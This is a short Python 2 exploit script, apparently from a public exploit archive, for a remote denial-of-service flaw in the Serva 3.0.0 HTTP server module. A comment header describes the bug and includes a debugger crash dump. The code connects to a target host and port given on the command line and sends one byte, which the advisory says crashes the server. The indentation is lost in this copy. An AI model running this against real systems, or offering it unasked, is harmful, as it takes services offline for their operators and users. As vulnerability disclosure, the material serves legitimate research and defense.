#!/usr/bin/env python
#
#
# Serva 3.0.0 HTTP Server Module Remote Denial of Service Exploit
#
#
# Vendor: Patrick Masotta
# Product web page: http://www.vercot.com
# Affected version: 3.0.0.1001 (Community, Pro, 32/64bit)
#
# Summary: Serva is a light (~3 MB), yet powerful Microsoft Windows application.
# It was conceived mainly as an Automated PXE Server Solution Accelerator. It bundles
# on a single exe all of the underlying server protocols and services required by the
# most complex PXE network boot/install scenarios simultaneously delivering Windows and
# non-Windows assets to BIOS and UEFI based targets.
#
# Desc: The vulnerability is caused by the HTML (httpd) module and how it handles TCP requests.
# This can be exploited to cause a denial of service attack resulting in application crash.
#
# ----------------------------------------------------------------------------
#
# (c1c.4bc): C++ EH exception - code e06d7363 (first chance)
# (c1c.4bc): C++ EH exception - code e06d7363 (!!! second chance !!!)
# *** WARNING: Unable to verify checksum for C:\Users\lqwrm\Desktop\Serva_Community_32_v3.0.0\Serva32.exe
# *** ERROR: Module load completed but symbols could not be loaded for C:\Users\lqwrm\Desktop\Serva_Community_32_v3.0.0\Serva32.exe
# eax=03127510 ebx=03127670 ecx=00000003 edx=00000000 esi=03127670 edi=031276a0
# eip=74a1c54f esp=03127510 ebp=03127560 iopl=0 nv up ei pl nz ac po nc
# cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000212
# KERNELBASE!RaiseException+0x58:
# 74a1c54f c9 leave
# 0:013> kb
# # ChildEBP RetAddr Args to Child
# 00 03127560 004abaaf e06d7363 00000001 00000003 KERNELBASE!RaiseException+0x58
# WARNING: Stack unwind information not available. Following frames may be wrong.
# 01 03127598 004cc909 031275b8 005e13e8 6ca23755 Serva32+0xabaaf
# 02 03127608 004085d3 0211ecf8 03127670 ffffffff Serva32+0xcc909
# 03 0312761c 004089a5 031276a0 fffffffd 00000004 Serva32+0x85d3
# 04 0312764c 00408f01 03127670 fffffffd 00000004 Serva32+0x89a5
# 05 03127698 00413b38 00000000 0040007a 00000000 Serva32+0x8f01
# 06 031277d8 00000000 00000000 00000000 00000000 Serva32+0x13b38
#
# ----------------------------------------------------------------------------
#
# Tested on: Microsoft Windows 7 Professional SP1 (EN)
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
# @zeroscience
#
#
# Advisory ID: ZSL-2016-5378
# Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5378.php
#
#
# 17.11.2016
#
import sys,socket
if len(sys.argv) < 3:
print '\nUsage: ' + sys.argv[0] + ' <target> <port>\n'
print 'Example: ' + sys.argv[0] + ' 172.19.0.214 80\n'
sys.exit(0)
host = sys.argv[1]
port = int(sys.argv[2])
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((host, port))
s.settimeout(251)
s.send('z')
s.close
